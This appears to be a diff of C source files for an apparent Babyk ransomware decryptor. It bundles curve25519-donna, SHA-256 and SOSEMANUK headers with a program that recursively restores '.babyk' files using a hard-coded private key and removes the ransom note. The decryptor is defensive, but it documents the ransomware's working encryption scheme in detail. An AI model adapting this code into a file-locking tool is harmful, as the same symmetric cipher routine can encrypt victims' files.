/* |xxprime[i]| < 14*2^54: the largest product of two limbs will be <
|
||||
* 2^(27+27) and fproduct adds together, at most, 14 of those products.
|
||||
* (Approximating that to 2^58 doesn't work out.) */
|
||||
fproduct(zzprime, x, zprime);
|
||||
/* |zzprime[i]| < 14*2^54 */
|
||||
freduce_degree(xxprime);
|
||||
freduce_coefficients(xxprime);
|
||||
/* |xxprime[i]| < 2^26 */
|
||||
freduce_degree(zzprime);
|
||||
freduce_coefficients(zzprime);
|
||||
/* |zzprime[i]| < 2^26 */
|
||||
memcpy(origxprime, xxprime, sizeof(limb) * 10);
|
||||
fsum(xxprime, zzprime);
|
||||
/* |xxprime[i]| < 2^27 */
|
||||
fdifference(zzprime, origxprime);
|
||||
/* |zzprime[i]| < 2^27 */
|
||||
fsquare(xxxprime, xxprime);
|
||||
/* |xxxprime[i]| < 2^26 */
|
||||
fsquare(zzzprime, zzprime);
|
||||
/* |zzzprime[i]| < 2^26 */
|
||||
fproduct(zzprime, zzzprime, qmqp);
|
||||
/* |zzprime[i]| < 14*2^52 */
|
||||
freduce_degree(zzprime);
|
||||
freduce_coefficients(zzprime);
|
||||
/* |zzprime[i]| < 2^26 */
|
||||
memcpy(x3, xxxprime, sizeof(limb) * 10);
|
||||
memcpy(z3, zzprime, sizeof(limb) * 10);
|
||||
|
||||
fsquare(xx, x);
|
||||
/* |xx[i]| < 2^26 */
|
||||
fsquare(zz, z);
|
||||
/* |zz[i]| < 2^26 */
|
||||
fproduct(x2, xx, zz);
|
||||
/* |x2[i]| < 14*2^52 */
|
||||
freduce_degree(x2);
|
||||
freduce_coefficients(x2);
|
||||
/* |x2[i]| < 2^26 */
|
||||
fdifference(zz, xx); // does zz = xx - zz
|
||||
/* |zz[i]| < 2^27 */
|
||||
memset(zzz + 10, 0, sizeof(limb) * 9);
|
||||
fscalar_product(zzz, zz, 121665);
|
||||
/* |zzz[i]| < 2^(27+17) */
|
||||
/* No need to call freduce_degree here:
|
||||
fscalar_product doesn't increase the degree of its input. */
|
||||
freduce_coefficients(zzz);
|
||||
/* |zzz[i]| < 2^26 */
|
||||
fsum(zzz, xx);
|
||||
/* |zzz[i]| < 2^27 */
|
||||
fproduct(z2, zz, zzz);
|
||||
/* |z2[i]| < 14*2^(26+27) */
|
||||
freduce_degree(z2);
|
||||
freduce_coefficients(z2);
|
||||
/* |z2|i| < 2^26 */
|
||||
}
|
||||
|
||||
/* Conditionally swap two reduced-form limb arrays if 'iswap' is 1, but leave
|
||||
* them unchanged if 'iswap' is 0. Runs in data-invariant time to avoid
|
||||
* side-channel attacks.
|
||||
*
|
||||
* NOTE that this function requires that 'iswap' be 1 or 0; other values give
|
||||
* wrong results. Also, the two limb arrays must be in reduced-coefficient,
|
||||
* reduced-degree form: the values in a[10..19] or b[10..19] aren't swapped,
|
||||
* and all all values in a[0..9],b[0..9] must have magnitude less than
|
||||
* INT32_MAX. */
|
||||
static void
|
||||
swap_conditional(limb a[19], limb b[19], limb iswap) {
|
||||
unsigned i;
|
||||
const s32 swap = (s32) -iswap;
|
||||
|
||||
for (i = 0; i < 10; ++i) {
|
||||
const s32 x = swap & ( ((s32)a[i]) ^ ((s32)b[i]) );
|
||||
a[i] = ((s32)a[i]) ^ x;
|
||||
b[i] = ((s32)b[i]) ^ x;
|
||||
}
|
||||
}
|
||||
|
||||
/* Calculates nQ where Q is the x-coordinate of a point on the curve
|
||||
*
|
||||
* resultx/resultz: the x coordinate of the resulting curve point (short form)
|
||||
* n: a little endian, 32-byte number
|
||||
* q: a point of the curve (short form) */
|
||||
static void
|
||||
cmult(limb *resultx, limb *resultz, const u8 *n, const limb *q) {
|
||||
limb a[19] = {0}, b[19] = {1}, c[19] = {1}, d[19] = {0};
|
||||
limb *nqpqx = a, *nqpqz = b, *nqx = c, *nqz = d, *t;
|
||||
limb e[19] = {0}, f[19] = {1}, g[19] = {0}, h[19] = {1};
|
||||
limb *nqpqx2 = e, *nqpqz2 = f, *nqx2 = g, *nqz2 = h;
|
||||
|
||||
unsigned i, j;
|
||||
|
||||
memcpy(nqpqx, q, sizeof(limb) * 10);
|
||||
|
||||
for (i = 0; i < 32; ++i) {
|
||||
u8 byte = n[31 - i];
|
||||
for (j = 0; j < 8; ++j) {
|
||||
const limb bit = byte >> 7;
|
||||
|
||||
swap_conditional(nqx, nqpqx, bit);
|
||||
swap_conditional(nqz, nqpqz, bit);
|
||||
fmonty(nqx2, nqz2,
|
||||
nqpqx2, nqpqz2,
|
||||
nqx, nqz,
|
||||
nqpqx, nqpqz,
|
||||
q);
|
||||
swap_conditional(nqx2, nqpqx2, bit);
|
||||
swap_conditional(nqz2, nqpqz2, bit);
|
||||
|
||||
t = nqx;
|
||||
nqx = nqx2;
|
||||
nqx2 = t;
|
||||
t = nqz;
|
||||
nqz = nqz2;
|
||||
nqz2 = t;
|
||||
t = nqpqx;
|
||||
nqpqx = nqpqx2;
|
||||
nqpqx2 = t;
|
||||
t = nqpqz;
|
||||
nqpqz = nqpqz2;
|
||||
nqpqz2 = t;
|
||||
|
||||
byte <<= 1;
|
||||
}
|
||||
}
|
||||
|
||||
memcpy(resultx, nqx, sizeof(limb) * 10);
|
||||
memcpy(resultz, nqz, sizeof(limb) * 10);
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Shamelessly copied from djb's code
|
||||
// -----------------------------------------------------------------------------
|
||||
static void
|
||||
crecip(limb *out, const limb *z) {
|
||||
limb z2[10];
|
||||
limb z9[10];
|
||||
limb z11[10];
|
||||
limb z2_5_0[10];
|
||||
limb z2_10_0[10];
|
||||
limb z2_20_0[10];
|
||||
limb z2_50_0[10];
|
||||
limb z2_100_0[10];
|
||||
limb t0[10];
|
||||
limb t1[10];
|
||||
int i;
|
||||
|
||||
/* 2 */ fsquare(z2,z);
|
||||
/* 4 */ fsquare(t1,z2);
|
||||
/* 8 */ fsquare(t0,t1);
|
||||
/* 9 */ fmul(z9,t0,z);
|
||||
/* 11 */ fmul(z11,z9,z2);
|
||||
/* 22 */ fsquare(t0,z11);
|
||||
/* 2^5 - 2^0 = 31 */ fmul(z2_5_0,t0,z9);
|
||||
|
||||
/* 2^6 - 2^1 */ fsquare(t0,z2_5_0);
|
||||
/* 2^7 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^8 - 2^3 */ fsquare(t0,t1);
|
||||
/* 2^9 - 2^4 */ fsquare(t1,t0);
|
||||
/* 2^10 - 2^5 */ fsquare(t0,t1);
|
||||
/* 2^10 - 2^0 */ fmul(z2_10_0,t0,z2_5_0);
|
||||
|
||||
/* 2^11 - 2^1 */ fsquare(t0,z2_10_0);
|
||||
/* 2^12 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^20 - 2^10 */ for (i = 2;i < 10;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^20 - 2^0 */ fmul(z2_20_0,t1,z2_10_0);
|
||||
|
||||
/* 2^21 - 2^1 */ fsquare(t0,z2_20_0);
|
||||
/* 2^22 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^40 - 2^20 */ for (i = 2;i < 20;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^40 - 2^0 */ fmul(t0,t1,z2_20_0);
|
||||
|
||||
/* 2^41 - 2^1 */ fsquare(t1,t0);
|
||||
/* 2^42 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^50 - 2^10 */ for (i = 2;i < 10;i += 2) { fsquare(t1,t0); fsquare(t0,t1); }
|
||||
/* 2^50 - 2^0 */ fmul(z2_50_0,t0,z2_10_0);
|
||||
|
||||
/* 2^51 - 2^1 */ fsquare(t0,z2_50_0);
|
||||
/* 2^52 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^100 - 2^50 */ for (i = 2;i < 50;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^100 - 2^0 */ fmul(z2_100_0,t1,z2_50_0);
|
||||
|
||||
/* 2^101 - 2^1 */ fsquare(t1,z2_100_0);
|
||||
/* 2^102 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^200 - 2^100 */ for (i = 2;i < 100;i += 2) { fsquare(t1,t0); fsquare(t0,t1); }
|
||||
/* 2^200 - 2^0 */ fmul(t1,t0,z2_100_0);
|
||||
|
||||
/* 2^201 - 2^1 */ fsquare(t0,t1);
|
||||
/* 2^202 - 2^2 */ fsquare(t1,t0);
|
||||
/* 2^250 - 2^50 */ for (i = 2;i < 50;i += 2) { fsquare(t0,t1); fsquare(t1,t0); }
|
||||
/* 2^250 - 2^0 */ fmul(t0,t1,z2_50_0);
|
||||
|
||||
/* 2^251 - 2^1 */ fsquare(t1,t0);
|
||||
/* 2^252 - 2^2 */ fsquare(t0,t1);
|
||||
/* 2^253 - 2^3 */ fsquare(t1,t0);
|
||||
/* 2^254 - 2^4 */ fsquare(t0,t1);
|
||||
/* 2^255 - 2^5 */ fsquare(t1,t0);
|
||||
/* 2^255 - 21 */ fmul(out,t1,z11);
|
||||
}
|
||||
|
||||
int curve25519_donna(u8 *mypublic, const u8 *secret, const u8 *basepoint) {
|
||||
limb bp[10], x[10], z[11], zmone[10];
|
||||
uint8_t e[32];
|
||||
int i;
|
||||
|
||||
for (i = 0; i < 32; ++i) e[i] = secret[i];
|
||||
e[0] &= 248;
|
||||
e[31] &= 127;
|
||||
e[31] |= 64;
|
||||
|
||||
fexpand(bp, basepoint);
|
||||
cmult(x, z, e, bp);
|
||||
crecip(zmone, z);
|
||||
fmul(z, x, zmone);
|
||||
fcontract(mypublic, z);
|
||||
return 0;
|
||||
}
|
|
@ -0,0 +1,8 @@
|
|||
#include <string.h>
|
||||
#include <stdint.h>
|
||||
|
||||
typedef uint8_t u8;
|
||||
typedef int32_t s32;
|
||||
typedef int64_t limb;
|
||||
|
||||
int curve25519_donna(u8* mypublic, const u8* secret, const u8* basepoint);
|
|
@ -0,0 +1,127 @@
|
|||
#include <sys/types.h>
|
||||
#include <sys/stat.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <dirent.h>
|
||||
#include <stdint.h>
|
||||
#include <stdlib.h>
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
#include "curve25519-donna.h"
|
||||
#include "sosemanuk.h"
|
||||
#include "sha256.h"
|
||||
|
||||
static uint8_t basepoint[32] = { 9, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 };
|
||||
|
||||
static uint8_t m_priv[32] = {
|
||||
'c', 'u', 'r', 'v', 'p', 'a', 't', 't', 'e', 'r', 'n', 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
|
||||
};
|
||||
|
||||
#define CONST_1MB 1048576ll
|
||||
#define CONST_BLOCK (CONST_1MB * 10)
|
||||
|
||||
void decrypt_file(char* path) {
|
||||
unsigned long wholeReaded = 0;
|
||||
size_t readed = 0;
|
||||
|
||||
uint8_t u_publ[32];
|
||||
uint8_t u_secr[32];
|
||||
uint8_t sm_key[32];
|
||||
struct stat64 fstat;
|
||||
|
||||
sha256_context sc;
|
||||
sosemanuk_key_context kc;
|
||||
sosemanuk_run_context rc;
|
||||
|
||||
if(stat64(path, &fstat) == 0){
|
||||
if(fstat.st_size > 32) {
|
||||
if (FILE *fp_key = fopen(path, "r+b")) {
|
||||
if(fseek(fp_key, -32, SEEK_END) == 0) {
|
||||
fread(u_publ, 1, 32, fp_key);
|
||||
curve25519_donna(u_secr, m_priv, u_publ);
|
||||
|
||||
sha256_init(&sc);
|
||||
sha256_hash(&sc, u_secr, 32);
|
||||
sha256_done(&sc, sm_key);
|
||||
|
||||
sosemanuk_schedule(&kc, sm_key, 32);
|
||||
sosemanuk_init(&rc, &kc, 0, 0);
|
||||
}
|
||||
fclose(fp_key);
|
||||
truncate64(path, fstat.st_size - 32);
|
||||
|
||||
if (FILE *fp = fopen(path, "r+b")) {
|
||||
if(uint8_t* f_data = (uint8_t*)malloc(CONST_BLOCK)) {
|
||||
do {
|
||||
wholeReaded += readed = fread(f_data, 1, CONST_BLOCK, fp);
|
||||
if(readed) {
|
||||
sosemanuk_encrypt(&rc, f_data, f_data, readed);
|
||||
fseek(fp, -readed, SEEK_CUR);
|
||||
fwrite(f_data, 1, readed, fp);
|
||||
} else break;
|
||||
} while(wholeReaded < 0x20000000 && wholeReaded < (fstat.st_size - 32));
|
||||
|
||||
free(f_data);
|
||||
}
|
||||
fclose(fp);
|
||||
|
||||
char unlocked_name[4096];
|
||||
strcpy(unlocked_name, path);
|
||||
for (int i = strlen(unlocked_name); i >= 0; i--) {
|
||||
if (unlocked_name[i] == '.') {
|
||||
unlocked_name[i] = 0;
|
||||
break;
|
||||
}
|
||||
}
|
||||
rename(path, unlocked_name);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
void find_files_recursive(char* begin) {
|
||||
if(char* path = (char*)malloc(4096)) {
|
||||
strcpy(path, begin);
|
||||
if (DIR* entry = opendir(path)) {
|
||||
dirent* record = 0;
|
||||
while ((record = readdir(entry)) != NULL) {
|
||||
if(strcmp(record->d_name, "..") != 0 && strcmp(record->d_name, ".") != 0) {
|
||||
if(record->d_type == DT_DIR) {
|
||||
strcpy(path, begin);
|
||||
strcat(path, "/");
|
||||
strcat(path, record->d_name);
|
||||
find_files_recursive(path);
|
||||
} else if(record->d_type == DT_REG) {
|
||||
if(strstr(record->d_name, ".babyk") != 0) {
|
||||
strcpy(path, begin);
|
||||
strcat(path, "/");
|
||||
strcat(path, record->d_name);
|
||||
|
||||
printf("Decrypting: %s\n", path);
|
||||
decrypt_file(path);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
closedir(entry);
|
||||
}
|
||||
|
||||
strcpy(path, begin);
|
||||
strcat(path, "/How To Restore Your Files.txt");
|
||||
unlink(path);
|
||||
|
||||
free(path);
|
||||
}
|
||||
}
|
||||
|
||||
int main(int argc, char* argv[]) {
|
||||
if(argc == 2) {
|
||||
find_files_recursive(argv[1]);
|
||||
} else {
|
||||
printf("Usage: %s /begin/path\n", argv[0]);
|
||||
}
|
||||
return(0);
|
||||
}
|
|
@ -0,0 +1,245 @@
|
|||
/*
|
||||
* SHA-256 implementation.
|
||||
*
|
||||
* Copyright (c) 2010 Ilya O. Levin, http://www.literatecode.com
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
#define SWAP_BYTES
|
||||
// #define USE_STD_MEMCPY
|
||||
// #define SELF_TEST
|
||||
|
||||
#ifdef USE_STD_MEMCPY
|
||||
#include <string.h>
|
||||
#endif
|
||||
#include "sha256.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define RL(x,n) (((x) << n) | ((x) >> (32 - n)))
|
||||
#define RR(x,n) (((x) >> n) | ((x) << (32 - n)))
|
||||
|
||||
#define S0(x) (RR((x), 2) ^ RR((x),13) ^ RR((x),22))
|
||||
#define S1(x) (RR((x), 6) ^ RR((x),11) ^ RR((x),25))
|
||||
#define G0(x) (RR((x), 7) ^ RR((x),18) ^ ((x) >> 3))
|
||||
#define G1(x) (RR((x),17) ^ RR((x),19) ^ ((x) >> 10))
|
||||
|
||||
#ifdef SWAP_BYTES
|
||||
#define BSWP(x,y) _bswapw((uint32_t *)(x), (uint32_t)(y))
|
||||
#else
|
||||
#define BSWP(p,n)
|
||||
#endif
|
||||
#ifdef USE_STD_MEMCPY
|
||||
#define MEMCP(x,y,z) memcpy((x),(y),(z))
|
||||
#else
|
||||
#define MEMCP(x,y,z) _memcp((x),(y),(z))
|
||||
#endif
|
||||
|
||||
#ifndef __cdecl
|
||||
#define __cdecl
|
||||
#endif
|
||||
|
||||
static const uint32_t K[64] = {
|
||||
0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5,
|
||||
0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5,
|
||||
0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3,
|
||||
0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174,
|
||||
0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc,
|
||||
0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da,
|
||||
0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7,
|
||||
0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967,
|
||||
0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13,
|
||||
0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85,
|
||||
0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3,
|
||||
0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070,
|
||||
0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5,
|
||||
0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3,
|
||||
0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208,
|
||||
0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2
|
||||
};
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
static void _bswapw(uint32_t *p, uint32_t i)
|
||||
{
|
||||
while (i--) p[i] = (RR(p[i],24) & 0x00ff00ff) | (RR(p[i],8) & 0xff00ff00);
|
||||
|
||||
} /* _bswapw */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
#ifndef USE_STD_MEMCPY
|
||||
void * __cdecl _memcp (void *d, const void *s, uint32_t sz)
|
||||
{
|
||||
void *rv = d;
|
||||
|
||||
while (sz--) *(char *)d = *(char *)s, d = (char *)d + 1, s = (char *)s + 1;
|
||||
|
||||
return(rv);
|
||||
} /* _memcp */
|
||||
#endif
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
static void _rtrf(uint32_t *b, uint32_t *p, uint32_t i, uint32_t j)
|
||||
{
|
||||
#define B(x, y) b[(x-y) & 7]
|
||||
#define P(x, y) p[(x+y) & 15]
|
||||
|
||||
B(7,i) += (j ? (p[i & 15] += G1(P(i,14)) + P(i,9) + G0(P(i,1))) : p[i & 15])
|
||||
+ K[i+j] + S1(B(4,i))
|
||||
+ (B(6,i) ^ (B(4,i) & (B(5,i) ^ B(6,i))));
|
||||
B(3,i) += B(7,i);
|
||||
B(7,i) += S0(B(0,i)) + ( (B(0,i) & B(1,i)) | (B(2,i) & (B(0,i) ^ B(1,i))) );
|
||||
|
||||
#undef P
|
||||
#undef B
|
||||
} /* _rtrf */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
static void _hash(sha256_context *ctx)
|
||||
{
|
||||
uint32_t b[8], *p, j;
|
||||
|
||||
b[0] = ctx->hash[0]; b[1] = ctx->hash[1]; b[2] = ctx->hash[2];
|
||||
b[3] = ctx->hash[3]; b[4] = ctx->hash[4]; b[5] = ctx->hash[5];
|
||||
b[6] = ctx->hash[6]; b[7] = ctx->hash[7];
|
||||
|
||||
for (p = ctx->buf, j = 0; j < 64; j += 16)
|
||||
_rtrf(b, p, 0, j), _rtrf(b, p, 1, j), _rtrf(b, p, 2, j),
|
||||
_rtrf(b, p, 3, j), _rtrf(b, p, 4, j), _rtrf(b, p, 5, j),
|
||||
_rtrf(b, p, 6, j), _rtrf(b, p, 7, j), _rtrf(b, p, 8, j),
|
||||
_rtrf(b, p, 9, j), _rtrf(b, p, 10, j), _rtrf(b, p, 11, j),
|
||||
_rtrf(b, p, 12, j), _rtrf(b, p, 13, j), _rtrf(b, p, 14, j),
|
||||
_rtrf(b, p, 15, j);
|
||||
|
||||
ctx->hash[0] += b[0]; ctx->hash[1] += b[1]; ctx->hash[2] += b[2];
|
||||
ctx->hash[3] += b[3]; ctx->hash[4] += b[4]; ctx->hash[5] += b[5];
|
||||
ctx->hash[6] += b[6]; ctx->hash[7] += b[7];
|
||||
|
||||
} /* _hash */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
void sha256_init(sha256_context *ctx)
|
||||
{
|
||||
ctx->len[0] = ctx->len[1] = 0;
|
||||
ctx->hash[0] = 0x6a09e667; ctx->hash[1] = 0xbb67ae85;
|
||||
ctx->hash[2] = 0x3c6ef372; ctx->hash[3] = 0xa54ff53a;
|
||||
ctx->hash[4] = 0x510e527f; ctx->hash[5] = 0x9b05688c;
|
||||
ctx->hash[6] = 0x1f83d9ab; ctx->hash[7] = 0x5be0cd19;
|
||||
|
||||
} /* sha256_init */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
void sha256_hash(sha256_context *ctx, uint8_t *dat, uint32_t sz)
|
||||
{
|
||||
register uint32_t i = ctx->len[0] & 63, l, j;
|
||||
|
||||
if ((ctx->len[0] += sz) < sz) ++(ctx->len[1]);
|
||||
|
||||
for (j = 0, l = 64-i; sz >= l; j += l, sz -= l, l = 64, i = 0)
|
||||
{
|
||||
MEMCP((char *)ctx->buf + i, &dat[j], l);
|
||||
BSWP(ctx->buf, 16 );
|
||||
_hash(ctx);
|
||||
}
|
||||
MEMCP((char *)ctx->buf + i, &dat[j], sz);
|
||||
|
||||
} /* _hash */
|
||||
|
||||
/* -------------------------------------------------------------------------- */
|
||||
void sha256_done(sha256_context *ctx, uint8_t *buf)
|
||||
{
|
||||
uint32_t i = (uint32_t)(ctx->len[0] & 63), j = ((~i) & 3) << 3;
|
||||
|
||||
BSWP(ctx->buf, (i + 3) >> 2);
|
||||
|
||||
ctx->buf[i >> 2] &= 0xffffff80 << j; /* add padding */
|
||||
ctx->buf[i >> 2] |= 0x00000080 << j;
|
||||
|
||||
if (i < 56) i = (i >> 2) + 1;
|
||||
else ctx->buf[15] ^= (i < 60) ? ctx->buf[15] : 0, _hash(ctx), i = 0;
|
||||
|
||||
while (i < 14) ctx->buf[i++] = 0;
|
||||
|
||||
ctx->buf[14] = (ctx->len[1] << 3)|(ctx->len[0] >> 29); /* add length */
|
||||
ctx->buf[15] = ctx->len[0] << 3;
|
||||
|
||||
_hash(ctx);
|
||||
|
||||
for (i = 0; i < 32; i++)
|
||||
ctx->buf[i % 16] = 0, /* may remove this line in case of a DIY cleanup */
|
||||
buf[i] = (uint8_t)(ctx->hash[i >> 2] >> ((~i & 3) << 3));
|
||||
|
||||
} /* sha256_done */
|
||||
|
||||
|
||||
#ifdef SELF_TEST
|
||||
#pragma warning (push, 0)
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#pragma warning(pop)
|
||||
|
||||
char *buf[] = {
|
||||
"",
|
||||
"e3b0c442 98fc1c14 9afbf4c8 996fb924 27ae41e4 649b934c a495991b 7852b855",
|
||||
|
||||
"abc",
|
||||
"ba7816bf 8f01cfea 414140de 5dae2223 b00361a3 96177a9c b410ff61 f20015ad",
|
||||
|
||||
"abcdbcdecdefdefgefghfghighijhijkijkljklmklmnlmnomnopnopq",
|
||||
"248d6a61 d20638b8 e5c02693 0c3e6039 a33ce459 64ff2167 f6ecedd4 19db06c1",
|
||||
|
||||
"The quick brown fox jumps over the lazy dog",
|
||||
"d7a8fbb3 07d78094 69ca9abc b0082e4f 8d5651e4 6d3cdb76 2d02d0bf 37c9e592",
|
||||
|
||||
"The quick brown fox jumps over the lazy cog", /* avalanche effect test */
|
||||
"e4c4d8f3 bf76b692 de791a17 3e053211 50f7a345 b46484fe 427f6acc 7ecc81be",
|
||||
|
||||
"bhn5bjmoniertqea40wro2upyflkydsibsk8ylkmgbvwi420t44cq034eou1szc1k0mk46oeb7ktzmlxqkbte2sy",
|
||||
"9085df2f 02e0cc45 5928d0f5 1b27b4bf 1d9cd260 a66ed1fd a11b0a3f f5756d99"
|
||||
};
|
||||
|
||||
int main(int argc, char *argv[])
|
||||
{
|
||||
sha256_context ctx;
|
||||
uint8_t hv[32];
|
||||
uint32_t i, j;
|
||||
|
||||
for (j = 0; j < (sizeof(buf)/sizeof(buf[0])); j += 2)
|
||||
{
|
||||
sha256_init(&ctx);
|
||||
sha256_hash(&ctx, (uint8_t *)buf[j], (uint32_t)strlen(buf[j]));
|
||||
sha256_done(&ctx, hv);
|
||||
printf("input = %s\ndigest: %s\nresult: ", buf[j], buf[j+1]);
|
||||
for (i = 0; i < 32; i++) printf("%02x%s", hv[i], ((i%4)==3)?" ":"");
|
||||
printf("\n\n");
|
||||
}
|
||||
|
||||
for (j = 1; j < (uint32_t)argc; j++)
|
||||
{
|
||||
printf("argv[%d]: %s\nresult: ", (int)j, argv[j]);
|
||||
sha256_init(&ctx);
|
||||
sha256_hash(&ctx, (uint8_t *)argv[j], (uint32_t)strlen(argv[j]));
|
||||
sha256_done(&ctx, hv);
|
||||
for (i = 0; i < 32; i++) printf("%02x%s", hv[i], ((i%4)==3)?" ":"");
|
||||
printf("\n\n");
|
||||
}
|
||||
|
||||
return 0;
|
||||
} /* main */
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
|
@ -0,0 +1,50 @@
|
|||
/*
|
||||
* SHA-256 implementation.
|
||||
*
|
||||
* Copyright (c) 2010 Ilya O. Levin, http://www.literatecode.com
|
||||
*
|
||||
* Permission to use, copy, modify, and distribute this software for any
|
||||
* purpose with or without fee is hereby granted, provided that the above
|
||||
* copyright notice and this permission notice appear in all copies.
|
||||
*
|
||||
* THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES
|
||||
* WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF
|
||||
* MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR
|
||||
* ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES
|
||||
* WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN
|
||||
* ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF
|
||||
* OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE.
|
||||
*/
|
||||
#ifdef _MSC_VER
|
||||
#ifndef uint8_t
|
||||
typedef unsigned __int8 uint8_t;
|
||||
#endif
|
||||
#ifndef uint32_t
|
||||
typedef unsigned __int32 uint32_t;
|
||||
#endif
|
||||
#ifndef uint64_t
|
||||
typedef __int64 int64_t;
|
||||
typedef unsigned __int64 uint64_t;
|
||||
#endif
|
||||
#else
|
||||
#include <stdint.h>
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C"
|
||||
{
|
||||
#endif
|
||||
|
||||
typedef struct {
|
||||
uint32_t buf[16];
|
||||
uint32_t hash[8];
|
||||
uint32_t len[2];
|
||||
} sha256_context;
|
||||
|
||||
void sha256_init(sha256_context *);
|
||||
void sha256_hash(sha256_context *, uint8_t * /* data */, uint32_t /* len */);
|
||||
void sha256_done(sha256_context *, uint8_t * /* hash */);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
File diff suppressed because it is too large
Load Diff
|
@ -0,0 +1,175 @@
|
|||
/*
|
||||
* SOSEMANUK reference API.
|
||||
*
|
||||
* This file documents the reference implementation API. If the
|
||||
* macro SOSEMANUK_ECRYPT is defined, the API follows the ECRYPT
|
||||
* conventions (types, function names...) and uses the ECRYPT files;
|
||||
* otherwise, a simpler API is used.
|
||||
*
|
||||
* (c) 2005 X-CRYPT project. This software is provided 'as-is', without
|
||||
* any express or implied warranty. In no event will the authors be held
|
||||
* liable for any damages arising from the use of this software.
|
||||
*
|
||||
* Permission is granted to anyone to use this software for any purpose,
|
||||
* including commercial applications, and to alter it and redistribute it
|
||||
* freely, subject to no restriction.
|
||||
*
|
||||
* Technical remarks and questions can be addressed to
|
||||
* <thomas.pornin@cryptolog.com>
|
||||
*/
|
||||
|
||||
#ifndef SOSEMANUK_H__
|
||||
#define SOSEMANUK_H__
|
||||
|
||||
/*
|
||||
* This macro enables the ECRYPT API, and disables the local API.
|
||||
* It is defined by default, for ECRYPT processing.
|
||||
*/
|
||||
|
||||
#ifdef SOSEMANUK_ECRYPT
|
||||
|
||||
#include "ecrypt-sync.h"
|
||||
|
||||
#else
|
||||
|
||||
#include <limits.h>
|
||||
|
||||
/*
|
||||
* Input/Output is defined in terms of octets, but C provides only
|
||||
* the C notion of "byte". We require that C bytes are actually octets.
|
||||
*/
|
||||
#if CHAR_BIT != 8
|
||||
#error We need 8-bit bytes
|
||||
#endif
|
||||
|
||||
/*
|
||||
* We want an unsigned integer type with at least (and possibly exactly)
|
||||
